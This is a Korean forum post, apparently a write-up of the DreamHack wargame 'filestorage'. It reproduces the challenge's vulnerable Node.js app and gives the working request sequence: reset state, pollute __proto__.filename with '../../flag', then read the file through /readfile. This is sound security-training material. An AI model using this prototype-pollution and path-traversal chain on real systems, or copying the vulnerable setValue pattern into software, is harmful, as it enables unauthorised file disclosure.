연구실:Web

[DreamHack워게임] filestorage

작성자 정보

  • za9uar 작성
  • 작성일

컨텐츠 정보

본문

NodeJS가 익숙치 않아서 Dockerfile 구축도 해보고

ChatGPT까지 모든 경우의 수를 동원해서 3일정도 걸려서 풀었음

 

app.js

const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();


var file={};
var read={};
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) { 핵심함수 1
  const keylist = key.split('.');  // .(점)을 기준으로 keylist 리스트 배열로 나눠짐
  const e = keylist.shift();  // shift로 인해 keylist 리스트에 있는 배열이 가장 앞 항목부터 삭제됨
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);  // 다시 Recursive 되는데 keylist는 .(점) 기준으로 다시 합쳐짐(join)
  } else {
    obj[key] = value;  // keylist가 shift로 인해 하나씩 날아가면서 결국 실행되는데 PP 삽입이 가능함
    return obj;
  }
}

app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');


app.get('/',function(req,resp){
    read['filename']='fake';
    resp.render(__dirname+"/ejs/index.ejs");

})

app.post('/mkfile',function(req,resp){
    let {filename,content}=req.body;
    filename=hash(filename).toString();
    fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
        if(err==null){
            file[filename]=filename;
            resp.send('your file name is '+filename);
        }else{
            resp.write("<script>alert('error')</script>");
            resp.write("<script>window.location='/'</script>");
        }
    })

})

app.get('/readfile',function(req,resp){
    let filename=file[req.query.filename];
    if(filename==null){  // filename을 Null로 전달해야 .(점) 치환을 우회할 수 있음
        fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){  // 대신, filename을 따로 전달할 수 없기 때문에 read['filename']은 PP 삽입을 미리 마쳐놔야함
            resp.send(data);
        })
    }else{
        read[filename]=filename.replaceAll('.','');
        fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
            if(err==null){
                resp.send(data);
            }else{
                resp.send('file is not existed');
            }
        })
    }

})

app.get('/test',function(req,resp){ 핵심함수 2
    let {func,filename,rename}=req.query;
    if(func==null){
        resp.send("this page hasn't been made yet");
    }else if(func=='rename'){
        setValue(file,filename,rename)
        resp.send('rename');
    }else if(func=='reset'){
        read={};
        resp.send("file reset");
    }
})


app.listen(8000);
 

 

Step 1. fake 값이 계속 출력되기 때문에 reset 해줌 ( 이후에는 공백만 뜸 )

http://host3.dreamhack.games:23999/test?func=reset

Step 2. PP 하는 부분

- 소스코드 분석 결과, 무조건 file[입력값] 형태로만 들어갈 수 있음 -> file[__proto__.filename] : ../../flag

- ../../flag 하는 이유는 소스에서 /storage/ 폴더 하위로 파일을 읽기 때문이고 flag는 상위 폴더에 있음 (../ 1번은 안됨)

http://host3.dreamhack.games:23999/test?func=rename&filename=__proto__.filename&rename=../../flag

Step 3. 결과 확인

- 소스 분석 결과처럼 filename에 Null을 넣어서 .(점) 치환로직 우회 가능

http://host3.dreamhack.games:23999/readfile?filename=

 

※ 삽질 내용

제대로 먹는지 모르겠어서 rename에 fake를 주고 확인하였음

fake를 넣게되면 PP 먹어서 reset해도 공백이 출력되지 않고 무조건 fake 값이 출력됨

http://host3.dreamhack.games:23999/test?func=rename&filename=__proto__.filename&rename=fake

 

 

관련자료

댓글 0
등록된 댓글이 없습니다.

최근글


  • 글이 없습니다.

새댓글